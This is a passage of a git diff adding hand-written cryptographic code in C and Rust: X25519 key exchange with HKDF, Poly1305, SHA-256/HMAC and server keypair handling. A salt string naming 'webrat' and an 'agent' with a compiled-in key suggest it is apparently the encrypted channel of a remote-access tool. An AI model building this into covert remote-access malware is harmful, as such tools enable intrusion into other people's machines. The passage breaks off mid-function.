key_exchange_init(key_exchange_t *kx, const uint8_t agent_pubkey[32]) { + // Hash the agent's compiled-in public key + sha256(agent_pubkey, 32, kx->agent_pubkey_hash); + + // Generate ephemeral X25519 keypair + if (x25519_keygen(kx->ephemeral_privkey, kx->ephemeral_pubkey) != 0) + return -1; + + memset(kx->session_key, 0, 32); + return 0; +} + +int key_exchange_derive(key_exchange_t *kx, const uint8_t server_pubkey[32]) { + uint8_t shared_secret[32]; + + // ECDH: ephemeral_priv * server_pub → shared_secret + if (x25519_shared_secret(kx->ephemeral_privkey, server_pubkey, shared_secret) != 0) { + secure_zero(shared_secret, 32); + return -1; + } + + // Reject all-zero shared secret (degenerate key / small-subgroup attack) + uint8_t zero_check = 0; + for (int i = 0; i < 32; i++) zero_check |= shared_secret[i]; + if (zero_check == 0) { + secure_zero(shared_secret, 32); + return -1; + } + + // Derive session key: HKDF-SHA256(salt="zerin_webrat_hkdf_salt_v1", ikm=shared_secret, info="zerin_session_v1") + int ret = hkdf_derive( + HKDF_SALT, sizeof(HKDF_SALT) - 1, // Domain-separation salt (must match server) + shared_secret, 32, // IKM + (const uint8_t *)KDF_INFO, strlen(KDF_INFO), // Info + kx->session_key, 32 // Output + ); + + // Clean up shared secret + secure_zero(shared_secret, 32); + // Clean up ephemeral private key — no longer needed + secure_zero(kx->ephemeral_privkey, 32); + + return ret; +} + +void secure_zero(void *ptr, size_t len) { +#ifdef _WIN32 + SecureZeroMemory(ptr, len); +#else + volatile uint8_t *p = (volatile uint8_t *)ptr; + while (len--) *p++ = 0; +#endif +} + +int constant_time_compare(const uint8_t *a, const uint8_t *b, size_t len) { + uint8_t diff = 0; + for (size_t i = 0; i < len; i++) + diff |= a[i] ^ b[i]; + return (int)diff; +} diff --git a/src/crypto/keys.rs b/src/crypto/keys.rs new file mode 100755 index 0000000..30bd77c --- /dev/null +++ b/src/crypto/keys.rs @@ -0,0 +1,69 @@ +use rand::rngs::OsRng; +use sha2::{Digest, Sha256}; +use x25519_dalek::{PublicKey, StaticSecret}; + +/// The server's long-lived X25519 key pair used for key exchange. +pub struct ServerKeyPair { + pub private_key: StaticSecret, + pub public_key: PublicKey, +} + +impl ServerKeyPair { + /// Generate a fresh server key pair. + pub fn generate() -> Self { + let private_key = StaticSecret::random_from_rng(OsRng); + let public_key = PublicKey::from(&private_key); + Self { + private_key, + public_key, + } + } + + /// Serialize the keypair to 64 bytes (32 private + 32 public). + pub fn to_bytes(&self) -> [u8; 64] { + let mut buf = [0u8; 64]; + buf[..32].copy_from_slice(&self.private_key.to_bytes()); + buf[32..].copy_from_slice(self.public_key.as_bytes()); + buf + } + + /// Reconstruct a keypair from 64 bytes (32 private + 32 public). + pub fn from_bytes(bytes: &[u8; 64]) -> Self { + let mut priv_bytes = [0u8; 32]; + priv_bytes.copy_from_slice(&bytes[..32]); + let private_key = StaticSecret::from(priv_bytes); + let public_key = PublicKey::from(&private_key); + Self { + private_key, + public_key, + } + } + + /// SHA256 hash of the server's public key bytes. + pub fn pubkey_hash(&self) -> Vec { + let mut hasher = Sha256::new(); + hasher.update(self.public_key.as_bytes()); + hasher.finalize().to_vec() + } + + /// Raw public key bytes (32 bytes). + pub fn pubkey_bytes(&self) -> [u8; 32] { + *self.public_key.as_bytes() + } +} + +impl std::fmt::Debug for ServerKeyPair { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("ServerKeyPair") + .field("public_key", &hex::encode(self.public_key.as_bytes())) + .finish() + } +} + +/// Helper: encode bytes as hex string. We keep a tiny inline implementation +/// so we don't need the `hex` crate just for debug logging. +mod hex { + pub fn encode(bytes: &[u8]) -> String { + bytes.iter().map(|b| format!("{:02x}", b)).collect() + } +} diff --git a/src/crypto/mod.rs b/src/crypto/mod.rs new file mode 100755 index 0000000..28199eb --- /dev/null +++ b/src/crypto/mod.rs @@ -0,0 +1,9 @@ +pub mod keys; +pub mod aead; +pub mod kdf; +pub mod exchange; + +pub use keys::ServerKeyPair; +pub use aead::{encrypt, decrypt}; +pub use kdf::derive_session_key; +pub use exchange::perform_key_exchange; diff --git a/src/crypto/poly1305.c b/src/crypto/poly1305.c new file mode 100755 index 0000000..806d7fc --- /dev/null +++ b/src/crypto/poly1305.c @@ -0,0 +1,185 @@ +#include "crypto.h" +#include + +// Poly1305 per RFC 8439 +// Using 32-bit limb arithmetic to avoid 128-bit multiplication issues + +static uint32_t load_le32(const uint8_t *p) { + return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static void store_le32(uint8_t *p, uint32_t v) { + p[0] = (uint8_t)(v); + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +void poly1305_init(poly1305_ctx_t *ctx, const uint8_t key[32]) { + // r = key[0..15] clamped + uint32_t t0 = load_le32(key + 0); + uint32_t t1 = load_le32(key + 4); + uint32_t t2 = load_le32(key + 8); + uint32_t t3 = load_le32(key + 12); + + // Clamp r + ctx->r[0] = t0 & 0x3ffffff; + ctx->r[1] = ((t0 >> 26) | (t1 << 6)) & 0x3ffff03; + ctx->r[2] = ((t1 >> 20) | (t2 << 12)) & 0x3ffc0ff; + ctx->r[3] = ((t2 >> 14) | (t3 << 18)) & 0x3f03fff; + ctx->r[4] = (t3 >> 8) & 0x00fffff; + + // h = 0 + ctx->h[0] = 0; + ctx->h[1] = 0; + ctx->h[2] = 0; + ctx->h[3] = 0; + ctx->h[4] = 0; + + // pad = key[16..31] + ctx->pad[0] = load_le32(key + 16); + ctx->pad[1] = load_le32(key + 20); + ctx->pad[2] = load_le32(key + 24); + ctx->pad[3] = load_le32(key + 28); + + ctx->buflen = 0; + ctx->total = 0; +} + +static void poly1305_blocks(poly1305_ctx_t *ctx, const uint8_t *data, + size_t nblocks, uint32_t hibit) { + uint32_t r0 = ctx->r[0], r1 = ctx->r[1], r2 = ctx->r[2]; + uint32_t r3 = ctx->r[3], r4 = ctx->r[4]; + uint32_t s1 = r1 * 5, s2 = r2 * 5, s3 = r3 * 5, s4 = r4 * 5; + uint32_t h0 = ctx->h[0], h1 = ctx->h[1], h2 = ctx->h[2]; + uint32_t h3 = ctx->h[3], h4 = ctx->h[4]; + + while (nblocks > 0) { + // h += m[i] + uint32_t t0 = load_le32(data + 0); + uint32_t t1 = load_le32(data + 4); + uint32_t t2 = load_le32(data + 8); + uint32_t t3 = load_le32(data + 12); + + h0 += t0 & 0x3ffffff; + h1 += ((t0 >> 26) | (t1 << 6)) & 0x3ffffff; + h2 += ((t1 >> 20) | (t2 << 12)) & 0x3ffffff; + h3 += ((t2 >> 14) | (t3 << 18)) & 0x3ffffff; + h4 += (t3 >> 8) | (hibit << 24); + + // h *= r (mod 2^130 - 5) + uint64_t d0 = (uint64_t)h0*r0 + (uint64_t)h1*s4 + (uint64_t)h2*s3 + (uint64_t)h3*s2 + (uint64_t)h4*s1; + uint64_t d1 = (uint64_t)h0*r1 + (uint64_t)h1*r0 + (uint64_t)h2*s4 + (uint64_t)h3*s3 + (uint64_t)h4*s2; + uint64_t d2 = (uint64_t)h0*r2 + (uint64_t)h1*r1 + (uint64_t)h2*r0 + (uint64_t)h3*s4 + (uint64_t)h4*s3; + uint64_t d3 = (uint64_t)h0*r3 + (uint64_t)h1*r2 + (uint64_t)h2*r1 + (uint64_t)h3*r0 + (uint64_t)h4*s4; + uint64_t d4 = (uint64_t)h0*r4 + (uint64_t)h1*r3 + (uint64_t)h2*r2 + (uint64_t)h3*r1 + (uint64_t)h4*r0; + + // Carry propagation + uint32_t c; + c = (uint32_t)(d0 >> 26); h0 = (uint32_t)d0 & 0x3ffffff; d1 += c; + c = (uint32_t)(d1 >> 26); h1 = (uint32_t)d1 & 0x3ffffff; d2 += c; + c = (uint32_t)(d2 >> 26); h2 = (uint32_t)d2 & 0x3ffffff; d3 += c; + c = (uint32_t)(d3 >> 26); h3 = (uint32_t)d3 & 0x3ffffff; d4 += c; + c = (uint32_t)(d4 >> 26); h4 = (uint32_t)d4 & 0x3ffffff; h0 += c * 5; + c = h0 >> 26; h0 &= 0x3ffffff; h1 += c; + + data += 16; + nblocks--; + } + + ctx->h[0] = h0; ctx->h[1] = h1; ctx->h[2] = h2; + ctx->h[3] = h3; ctx->h[4] = h4; +} + +void poly1305_update(poly1305_ctx_t *ctx, const uint8_t *data, size_t len) { + // Buffer partial blocks + if (ctx->buflen > 0) { + size_t want = 16 - ctx->buflen; + if (want > len) want = len; + memcpy(ctx->buffer + ctx->buflen, data, want); + ctx->buflen += want; + data += want; + len -= want; + ctx->total += want; + + if (ctx->buflen == 16) { + poly1305_blocks(ctx, ctx->buffer, 1, 1); + ctx->buflen = 0; + } + } + + // Process full blocks + if (len >= 16) { + size_t nblocks = len / 16; + poly1305_blocks(ctx, data, nblocks, 1); + data += nblocks * 16; + len -= nblocks * 16; + ctx->total += nblocks * 16; + } + + // Buffer remainder + if (len > 0) { + memcpy(ctx->buffer, data, len); + ctx->buflen = len; + ctx->total += len; + } +} + +void poly1305_final(poly1305_ctx_t *ctx, uint8_t tag[16]) { + // Process remaining bytes + if (ctx->buflen > 0) { + uint8_t block[16]; + memset(block, 0, 16); + memcpy(block, ctx->buffer, ctx->buflen); + block[ctx->buflen] = 1; // Padding bit + poly1305_blocks(ctx, block, 1, 0); + } + + // Finalize: compute h mod (2^130 - 5), then add pad + uint32_t h0 = ctx->h[0], h1 = ctx->h[1], h2 = ctx->h[2]; + uint32_t h3 = ctx->h[3], h4 = ctx->h[4]; + + // Full carry + uint32_t c; + c = h1 >> 26; h1 &= 0x3ffffff; h2 += c; + c = h2 >> 26; h2 &= 0x3ffffff; h3 += c; + c = h3 >> 26; h3 &= 0x3ffffff; h4 += c; + c = h4 >> 26; h4 &= 0x3ffffff; h0 += c * 5; + c = h0 >> 26; h0 &= 0x3ffffff; h1 += c; + + // Compute h + -(2^130-5) = h - (2^130-5) + uint32_t g0 = h0 + 5; c = g0 >> 26; g0 &= 0x3ffffff; + uint32_t g1 = h1 + c; c = g1 >> 26; g1 &= 0x3ffffff; + uint32_t g2 = h2 + c; c = g2 >> 26; g2 &= 0x3ffffff; + uint32_t g3 = h3 + c; c = g3 >> 26; g3 &= 0x3ffffff; + uint32_t g4 = h4 + c - (1 << 26); + + // Select h if h < 2^130-5, else g + uint32_t mask = (g4 >> 31) - 1; // 0 if g4 is negative (h < p), all 1s otherwise + g0 &= mask; g1 &= mask; g2 &= mask; g3 &= mask; g4 &= mask; + mask = ~mask; + h0 = (h0 & mask) | g0; h1 = (h1 & mask) | g1; + h2 = (h2 & mask) | g2; h3 = (h3 & mask) | g3; + h4 = (h4 & mask) | g4; + + // Assemble into 4 32-bit words + uint32_t f0 = (h0) | (h1 << 26); + uint32_t f1 = (h1 >> 6) | (h2 << 20); + uint32_t f2 = (h2 >> 12) | (h3 << 14); + uint32_t f3 = (h3 >> 18) | (h4 << 8); + + // Add pad + uint64_t t; + t = (uint64_t)f0 + ctx->pad[0]; f0 = (uint32_t)t; + t = (uint64_t)f1 + ctx->pad[1] + (t >> 32); f1 = (uint32_t)t; + t = (uint64_t)f2 + ctx->pad[2] + (t >> 32); f2 = (uint32_t)t; + t = (uint64_t)f3 + ctx->pad[3] + (t >> 32); f3 = (uint32_t)t; + + store_le32(tag + 0, f0); + store_le32(tag + 4, f1); + store_le32(tag + 8, f2); + store_le32(tag + 12, f3); + + secure_zero(ctx, sizeof(*ctx)); +} diff --git a/src/crypto/random.c b/src/crypto/random.c new file mode 100755 index 0000000..0c483d7 --- /dev/null +++ b/src/crypto/random.c @@ -0,0 +1,24 @@ +#include "zerin.h" +#include + +int crypto_random_bytes(uint8_t *buf, size_t len) { +#ifdef _WIN32 + NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len, + BCRYPT_USE_SYSTEM_PREFERRED_RNG); + return (status == STATUS_SUCCESS) ? 0 : -1; +#else + FILE *f = fopen("/dev/urandom", "rb"); + if (!f) return -1; + size_t read = fread(buf, 1, len, f); + fclose(f); + return (read == len) ? 0 : -1; +#endif +} + +double crypto_random_float(void) { + uint32_t val = 0; + if (crypto_random_bytes((uint8_t *)&val, sizeof(val)) != 0) { + return 0.5; // Safe fallback + } + return (double)val / (double)0xFFFFFFFFU; +} diff --git a/src/crypto/sha256.c b/src/crypto/sha256.c new file mode 100755 index 0000000..338bdde --- /dev/null +++ b/src/crypto/sha256.c @@ -0,0 +1,173 @@ +#include "crypto.h" +#include + +// SHA-256 constants (first 32 bits of fractional parts of cube roots of first 64 primes) +static const uint32_t K[64] = { + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, + 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, + 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, + 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, + 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, + 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, + 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, + 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, + 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +}; + +#define ROTR(x, n) (((x) >> (n)) | ((x) << (32 - (n)))) +#define CH(x, y, z) (((x) & (y)) ^ (~(x) & (z))) +#define MAJ(x, y, z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) +#define EP0(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22)) +#define EP1(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25)) +#define SIG0(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ ((x) >> 3)) +#define SIG1(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ ((x) >> 10)) + +static uint32_t load_be32(const uint8_t *p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | ((uint32_t)p[3]); +} + +static void store_be32(uint8_t *p, uint32_t v) { + p[0] = (uint8_t)(v >> 24); + p[1] = (uint8_t)(v >> 16); + p[2] = (uint8_t)(v >> 8); + p[3] = (uint8_t)(v); +} + +static void store_be64(uint8_t *p, uint64_t v) { + p[0] = (uint8_t)(v >> 56); + p[1] = (uint8_t)(v >> 48); + p[2] = (uint8_t)(v >> 40); + p[3] = (uint8_t)(v >> 32); + p[4] = (uint8_t)(v >> 24); + p[5] = (uint8_t)(v >> 16); + p[6] = (uint8_t)(v >> 8); + p[7] = (uint8_t)(v); +} + +static void sha256_transform(sha256_ctx_t *ctx, const uint8_t block[64]) { + uint32_t W[64]; + uint32_t a, b, c, d, e, f, g, h; + uint32_t t1, t2; + + for (int i = 0; i < 16; i++) + W[i] = load_be32(block + i * 4); + + for (int i = 16; i < 64; i++) + W[i] = SIG1(W[i-2]) + W[i-7] + SIG0(W[i-15]) + W[i-16]; + + a = ctx->state[0]; b = ctx->state[1]; + c = ctx->state[2]; d = ctx->state[3]; + e = ctx->state[4]; f = ctx->state[5]; + g = ctx->state[6]; h = ctx->state[7]; + + for (int i = 0; i < 64; i++) { + t1 = h + EP1(e) + CH(e, f, g) + K[i] + W[i]; + t2 = EP0(a) + MAJ(a, b, c); + h = g; g = f; f = e; e = d + t1; + d = c; c = b; b = a; a = t1 + t2; + } + + ctx->state[0] += a; ctx->state[1] += b; + ctx->state[2] += c; ctx->state[3] += d; + ctx->state[4] += e; ctx->state[5] += f; + ctx->state[6] += g; ctx->state[7] += h; +} + +void sha256_init(sha256_ctx_t *ctx) { + ctx->state[0] = 0x6a09e667; + ctx->state[1] = 0xbb67ae85; + ctx->state[2] = 0x3c6ef372; + ctx->state[3] = 0xa54ff53a; + ctx->state[4] = 0x510e527f; + ctx->state[5] = 0x9b05688c; + ctx->state[6] = 0x1f83d9ab; + ctx->state[7] = 0x5be0cd19; + ctx->bitcount = 0; + ctx->buflen = 0; +} + +void sha256_update(sha256_ctx_t *ctx, const uint8_t *data, size_t len) { + for (size_t i = 0; i < len; i++) { + ctx->buffer[ctx->buflen++] = data[i]; + if (ctx->buflen == 64) { + sha256_transform(ctx, ctx->buffer); + ctx->bitcount += 512; + ctx->buflen = 0; + } + } +} + +void sha256_final(sha256_ctx_t *ctx, uint8_t out[32]) { + ctx->bitcount += ctx->buflen * 8; + + ctx->buffer[ctx->buflen++] = 0x80; + if (ctx->buflen > 56) { + while (ctx->buflen < 64) + ctx->buffer[ctx->buflen++] = 0; + sha256_transform(ctx, ctx->buffer); + ctx->buflen = 0; + } + while (ctx->buflen < 56) + ctx->buffer[ctx->buflen++] = 0; + + store_be64(ctx->buffer + 56, ctx->bitcount); + sha256_transform(ctx, ctx->buffer); + + for (int i = 0; i < 8; i++) + store_be32(out + i * 4, ctx->state[i]); +} + +void sha256(const uint8_t *data, size_t len, uint8_t out[32]) { + sha256_ctx_t ctx; + sha256_init(&ctx); + sha256_update(&ctx, data, len); + sha256_final(&ctx, out); +} + +void hmac_sha256(const uint8_t *key, size_t key_len, + const uint8_t *data, size_t data_len, + uint8_t out[32]) { + sha256_ctx_t ctx; + uint8_t k_ipad[64], k_opad[64]; + uint8_t key_hash[32]; + + // If key > 64 bytes, hash it + if (key_len > 64) { + sha256(key, key_len, key_hash); + key = key_hash; + key_len = 32; + } + + memset(k_ipad, 0x36, 64); + memset(k_opad, 0x5c, 64); + for (size_t i = 0; i < key_len; i++) { + k_ipad[i] ^= key[i]; + k_opad[i] ^= key[i]; + } + + // Inner hash: H(K ^ ipad || data) + sha256_init(&ctx); + sha256_update(&ctx, k_ipad, 64); + sha256_update(&ctx, data, data_len); + uint8_t inner[32]; + sha256_final(&ctx, inner); + + // Outer hash: H(K ^ opad || inner) + sha256_init(&ctx); + sha256_update(&ctx, k_opad, 64); + sha256_update(&ctx, inner, 32); + sha256_final(&ctx, out); + + secure_zero(k_ipad, 64); + secure_zero(k_opad, 64); + secure_zero(inner, 32); + secure_zero(key_hash, 32); +} diff --git a/src/crypto/x25519.c b/src/crypto/x25519.c new file mode 100755 index 0000000..ae74dad --- /dev/null +++ b/src/crypto/x25519.c @@ -0,0 +1,325 @@ +#include "crypto.h" +#include + +// X25519 (Curve25519 ECDH) per RFC 7748 +// Field: GF(2^255 - 19) +// Representation: 10 limbs of 25.5 bits each (alternating 26/25 bit limbs) + +typedef int64_t fe[10]; // Field element + +static int64_t load4(const uint8_t *p) { + return (int64_t)((uint32_t)p[0] | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24)); +} + +static int64_t load3(const uint8_t *p) { + return (int64_t)((uint32_t)p[0] | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16)); +} + +static void fe_zero(fe f) { + for (int i = 0; i < 10; i++) f[i] = 0; +} + +static void fe_one(fe f) { + f[0] = 1; + for (int i = 1; i < 10; i++) f[i] = 0; +} + +static void fe_copy(fe dst, const fe src) { + for (int i = 0; i < 10; i++) dst[i] = src[i]; +} + +// Load 32 bytes (little-endian) into field element +static void fe_frombytes(fe f, const uint8_t s[32]) { + int64_t h0 = load4(s) & 0x3ffffff; + int64_t h1 = (load4(s + 3) >> 2) & 0x1ffffff; + int64_t h2 = (load4(s + 6) >> 3) & 0x3ffffff; + int64_t h3 = (load4(s + 9) >> 5) & 0x1ffffff; + int64_t h4 = (load4(s + 12) >> 6) & 0x3ffffff; + int64_t h5 = (load4(s + 16)) & 0x1ffffff; + int64_t h6 = (load4(s + 19) >> 1) & 0x3ffffff; + int64_t h7 = (load4(s + 22) >> 3) & 0x1ffffff; + int64_t h8 = (load4(s + 25) >> 4) & 0x3ffffff; + int64_t h9 = (load4(s + 28) >> 6) & 0x1ffffff; + + f[0] = h0; f[1] = h1; f[2] = h2; f[3] = h3; f[4] = h4; + f[5] = h5; f[6] = h6; f[7] = h7; f[8] = h8; f[9] = h9; +} + +// Serialize field element to 32 bytes +static void fe_tobytes(uint8_t s[32], const fe h) { + int64_t t[10]; + int i; + for (i = 0; i < 10; i++) t[i] = h[i]; + + int64_t q = (19 * t[9] + (((int64_t)1) << 24)) >> 25; + for (i = 0; i < 5; i++) { + q = (t[2*i] + q) >> 26; + q = (t[2*i+1] + q) >> 25; + } + t[0] += 19 * q; + + int64_t carry = 0; + for (i = 0; i < 10; i++) { + t[i] += carry; + if (i & 1) { + carry = t[i] >> 25; + t[i] &= 0x1ffffff; + } else { + carry = t[i] >> 26; + t[i] &= 0x3ffffff; + } + } + + s[0] = (uint8_t)(t[0]); + s[1] = (uint8_t)(t[0] >> 8); + s[2] = (uint8_t)(t[0] >> 16); + s[3] = (uint8_t)((t[0] >> 24) | (t[1] << 2)); + s[4] = (uint8_t)(t[1] >> 6); + s[5] = (uint8_t)(t[1] >> 14); + s[6] = (uint8_t)((t[1] >> 22) | (t[2] << 3)); + s[7] = (uint8_t)(t[2] >> 5); + s[8] = (uint8_t)(t[2] >> 13); + s[9] = (uint8_t)((t[2] >> 21) | (t[3] << 5)); + s[10] = (uint8_t)(t[3] >> 3); + s[11] = (uint8_t)(t[3] >> 11); + s[12] = (uint8_t)((t[3] >> 19) | (t[4] << 6)); + s[13] = (uint8_t)(t[4] >> 2); + s[14] = (uint8_t)(t[4] >> 10); + s[15] = (uint8_t)(t[4] >> 18); + s[16] = (uint8_t)(t[5]); + s[17] = (uint8_t)(t[5] >> 8); + s[18] = (uint8_t)(t[5] >> 16); + s[19] = (uint8_t)((t[5] >> 24) | (t[6] << 1)); + s[20] = (uint8_t)(t[6] >> 7); + s[21] = (uint8_t)(t[6] >> 15); + s[22] = (uint8_t)((t[6] >> 23) | (t[7] << 3)); + s[23] = (uint8_t)(t[7] >> 5); + s[24] = (uint8_t)(t[7] >> 13); + s[25] = (uint8_t)((t[7] >> 21) | (t[8] << 4)); + s[26] = (uint8_t)(t[8] >> 4); + s[27] = (uint8_t)(t[8] >> 12); + s[28] = (uint8_t)((t[8] >> 20) | (t[9] << 6)); + s[29] = (uint8_t)(t[9] >> 2); + s[30] = (uint8_t)(t[9] >> 10); + s[31] = (uint8_t)(t[9] >> 18); +} + +// fe_add: h = f + g +static void fe_add(fe h, const fe f, const fe g) { + int i; + for (i = 0; i < 10; i++) h[i] = f[i] + g[i]; +} + +// fe_sub: h = f - g +// Uses 2*p bias to keep values positive +static void fe_sub(fe h, const fe f, const fe g) { + // 2*p in limb representation ensures non-negative intermediate results + static const int64_t bias[10] = { + 0x7ffffda, 0x3fffffe, 0x7fffffe, 0x3fffffe, 0x7fffffe, + 0x3fffffe, 0x7fffffe, 0x3fffffe, 0x7fffffe, 0x3fffffe + }; + int i; + int64_t carry; + for (i = 0; i < 10; i++) h[i] = f[i] - g[i] + bias[i]; + // Carry normalize + for (i = 0; i < 9; i++) { + if (i & 1) { + carry = h[i] >> 25; + h[i] &= 0x1ffffff; + } else { + carry = h[i] >> 26; + h[i] &= 0x3ffffff; + } + h[i+1] += carry; + } + carry = h[9] >> 25; + h[9] &= 0x1ffffff; + h[0] += carry * 19; +} + +// fe_mul: h = f * g (schoolbook with reduction) +static void fe_mul(fe h, const fe f, const fe g) { + int64_t f0 = f[0], f1 = f[1], f2 = f[2], f3 = f[3], f4 = f[4]; + int64_t f5 = f[5], f6 = f[6], f7 = f[7], f8 = f[8], f9 = f[9]; + int64_t g0 = g[0], g1 = g[1], g2 = g[2], g3 = g[3], g4 = g[4]; + int64_t g5 = g[5], g6 = g[6], g7 = g[7], g8 = g[8], g9 = g[9]; + int64_t g1_19 = 19*g1, g2_19 = 19*g2, g3_19 = 19*g3, g4_19 = 19*g4; + int64_t g5_19 = 19*g5, g6_19 = 19*g6, g7_19 = 19*g7, g8_19 = 19*g8, g9_19 = 19*g9; + int64_t f1_2 = 2*f1, f3_2 = 2*f3, f5_2 = 2*f5, f7_2 = 2*f7, f9_2 = 2*f9; + + int64_t h0 = f0*g0 + f1_2*g9_19 + f2*g8_19 + f3_2*g7_19 + f4*g6_19 + f5_2*g5_19 + f6*g4_19 + f7_2*g3_19 + f8*g2_19 + f9_2*g1_19; + int64_t h1 = f0*g1 + f1*g0 + f2*g9_19 + f3*g8_19 + f4*g7_19 + f5*g6_19 + f6*g5_19 + f7*g4_19 + f8*g3_19 + f9*g2_19; + int64_t h2 = f0*g2 + f1_2*g1 + f2*g0 + f3_2*g9_19 + f4*g8_19 + f5_2*g7_19 + f6*g6_19 + f7_2*g5_19 + f8*g4_19 + f9_2*g3_19; + int64_t h3 = f0*g3 + f1*g2 + f2*g1 + f3*g0 + f4*g9_19 + f5*g8_19 + f6*g7_19 + f7*g6_19 + f8*g5_19 + f9*g4_19; + int64_t h4 = f0*g4 + f1_2*g3 + f2*g2 + f3_2*g1 + f4*g0 + f5_2*g9_19 + f6*g8_19 + f7_2*g7_19 + f8*g6_19 + f9_2*g5_19; + int64_t h5 = f0*g5 + f1*g4 + f2*g3 + f3*g2 + f4*g1 + f5*g0 + f6*g9_19 + f7*g8_19 + f8*g7_19 + f9*g6_19; + int64_t h6 = f0*g6 + f1_2*g5 + f2*g4 + f3_2*g3 + f4*g2 + f5_2*g1 + f6*g0 + f7_2*g9_19 + f8*g8_19 + f9_2*g7_19; + int64_t h7 = f0*g7 + f1*g6 + f2*g5 + f3*g4 + f4*g3 + f5*g2 + f6*g1 + f7*g0 + f8*g9_19 + f9*g8_19; + int64_t h8 = f0*g8 + f1_2*g7 + f2*g6 + f3_2*g5 + f4*g4 + f5_2*g3 + f6*g2 + f7_2*g1 + f8*g0 + f9_2*g9_19; + int64_t h9 = f0*g9 + f1*g8 + f2*g7 + f3*g6 + f4*g5 + f5*g4 + f6*g3 + f7*g2 + f8*g1 + f9*g0; + + int64_t carry; + carry = h0 >> 26; h1 += carry; h0 &= 0x3ffffff; + carry = h4 >> 26; h5 += carry; h4 &= 0x3ffffff; + carry = h1 >> 25; h2 += carry; h1 &= 0x1ffffff; + carry = h5 >> 25; h6 += carry; h5 &= 0x1ffffff; + carry = h2 >> 26; h3 += carry; h2 &= 0x3ffffff; + carry = h6 >> 26; h7 += carry; h6 &= 0x3ffffff; + carry = h3 >> 25; h4 += carry; h3 &= 0x1ffffff; + carry = h7 >> 25; h8 += carry; h7 &= 0x1ffffff; + carry = h4 >> 26; h5 += carry; h4 &= 0x3ffffff; + carry = h8 >> 26; h9 += carry; h8 &= 0x3ffffff; + carry = h9 >> 25; h0 += 19 * carry; h9 &= 0x1ffffff; + carry = h0 >> 26; h1 += carry; h0 &= 0x3ffffff; + + h[0]=h0; h[1]=h1; h[2]=h2; h[3]=h3; h[4]=h4; + h[5]=h5; h[6]=h6; h[7]=h7; h[8]=h8; h[9]=h9; +} + +// fe_sq: h = f^2 +static void fe_sq(fe h, const fe f) { + fe_mul(h, f, f); +} + +// fe_invert: h = f^(-1) mod p using Fermat's little theorem: f^(p-2) +static void fe_invert(fe out, const fe z) { + fe t0, t1, t2, t3; + int i; + + fe_sq(t0, z); + fe_sq(t1, t0); + fe_sq(t1, t1); + fe_mul(t1, z, t1); + fe_mul(t0, t0, t1); + fe_sq(t2, t0); + fe_mul(t1, t1, t2); + fe_sq(t2, t1); + for (i = 0; i < 4; i++) fe_sq(t2, t2); + fe_mul(t1, t2, t1); + fe_sq(t2, t1); + for (i = 0; i < 9; i++) fe_sq(t2, t2); + fe_mul(t2, t2, t1); + fe_sq(t3, t2); + for (i = 0; i < 19; i++) fe_sq(t3, t3); + fe_mul(t2, t3, t2); + fe_sq(t2, t2); + for (i = 0; i < 9; i++) fe_sq(t2, t2); + fe_mul(t1, t2, t1); + fe_sq(t2, t1); + for (i = 0; i < 49; i++) fe_sq(t2, t2); + fe_mul(t2, t2, t1); + fe_sq(t3, t2); + for (i = 0; i < 99; i++) fe_sq(t3, t3); + fe_mul(t2, t3, t2); + fe_sq(t2, t2); + for (i = 0; i < 49; i++) fe_sq(t2, t2); + fe_mul(t1, t2, t1); + fe_sq(t1, t1); // z^(2^251 - 2) + fe_sq(t1, t1); // z^(2^252 - 4) + fe_sq(t1, t1); // z^(2^253 - 8) + fe_sq(t1, t1); // z^(2^254 - 16) + fe_sq(t1, t1); // z^(2^255 - 32) + fe_mul(out, t1, t0); // z^(2^255 - 32 + 11) = z^(2^255 - 21) = z^(p-2) +} + +// Constant-time conditional swap +static void fe_cswap(fe f, fe g, int b) { + int64_t mask = -(int64_t)b; + int i; + for (i = 0; i < 10; i++) { + int64_t x = mask & (f[i] ^ g[i]); + f[i] ^= x; + g[i] ^= x; + } +} + +// a24 = 121666 (constant for Curve25519 Montgomery ladder) +static const fe fe_a24 = { 121666, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; + +// X25519 scalar multiplication (Montgomery ladder) +static void x25519_scalarmult(uint8_t out[32], const uint8_t scalar[32], + const uint8_t point[32]) { + fe x1, x2, z2, x3, z3, tmp0, tmp1; + uint8_t e[32]; + int pos, swap, b; + + memcpy(e, scalar, 32); + + fe_frombytes(x1, point); + fe_one(x2); + fe_zero(z2); + fe_copy(x3, x1); + fe_one(z3); + + swap = 0; + + for (pos = 254; pos 